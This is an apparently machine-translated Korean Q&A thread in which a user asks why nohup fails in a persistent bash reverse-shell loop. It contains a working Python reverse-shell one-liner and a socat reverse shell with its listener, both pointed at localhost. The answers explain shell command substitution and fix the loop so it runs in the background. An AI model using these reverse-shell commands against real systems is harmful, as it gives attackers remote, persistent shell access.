역방향 쉘 배시 구문 분석

역방향 쉘 배시 구문 분석

작은 bash 리버스 쉘을 작성하려고 하는데 불행하게도 내 인수가 올바르게 구문 분석되지 않습니다. 특히 while 루프가 예상대로 실행되는 동안 nohup 명령은 무시됩니다. 왜 이런 일이 발생합니까?

nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &

답변1

socat모든 것을 한 줄에 넣지 않으면 사용하기 쉽고 읽기 쉽습니다.

nohup sh -c '
  while true; do
    socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
    sleep 5
  done'

달리기:

socat tcp-listen:4242,reuseaddr -,raw,echo=0

5초 이내에 다른 터미널에 쉘 프롬프트가 나타나야 합니다.

이름/경로가 무한 루프의 출력이지만 while 루프가 반환된 후에만 명령을 실행하도록 요청하는 것은 nohup "$(while...)"의미가 없습니다 .nohup

답변2

nohup달릴 것이다결과실행 코드 $( … ).

설명하자면...

다음 상황을 고려해보세요.

a=$(date)

이 명령은 *1date 과 같은 출력을 실행하고 생성합니다 . 텍스트가 줄에 삽입되어 다음과 같은 결과가 발생합니다.Thu, 25 Jan 2024 23:20:48

a='Thu, 25 Jan 2024 23:20:48'

그런 다음 할당을 수행합니다.

이제 이것을 고려하십시오:

a=$(echo hello; sleep 300; echo world)

내부에서 명령을 실행하면 $( … )결과가 나오지만 hello {newline} world5분 정도 걸립니다. 임무는 아직 시작되지 않았습니다. 마지막으로 우리는 다음과 같은 결과를 얻습니다.

a='hello
world'

그리고 할당이 수행될 수 있습니다.

이제 이것을 여러분의 상황에 적용해 보겠습니다.

nohup "$(while :; do python3 …; done)" >/dev/null 2>&1

먼저 $( … )내부의 코드를 실행해 보세요. 불행히도 그것은 결코 끝나지 않습니다. 만약 여기서 끝났다면결과그런 다음 코드를 실행하기 위한 정보가 에 전달됩니다 nohup. 그러나 종료되지 않으므로 nohup실행되지 않습니다.

이 시도:

nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &

\"Python 코드에 사용되는 큰따옴표는 쉘( sh)이 시작과 연관시키지 않도록 이스케이프되어야 합니다 ".


1* 실제로 date개행 문자로 끝나는 값을 반환합니다. 그러나 쉘은 보간할 때 후행 줄 바꿈을 좋아 sh하고 제거합니다 bash. 왜냐하면 이것이 (보통) 예상되기 때문입니다.

관련 정보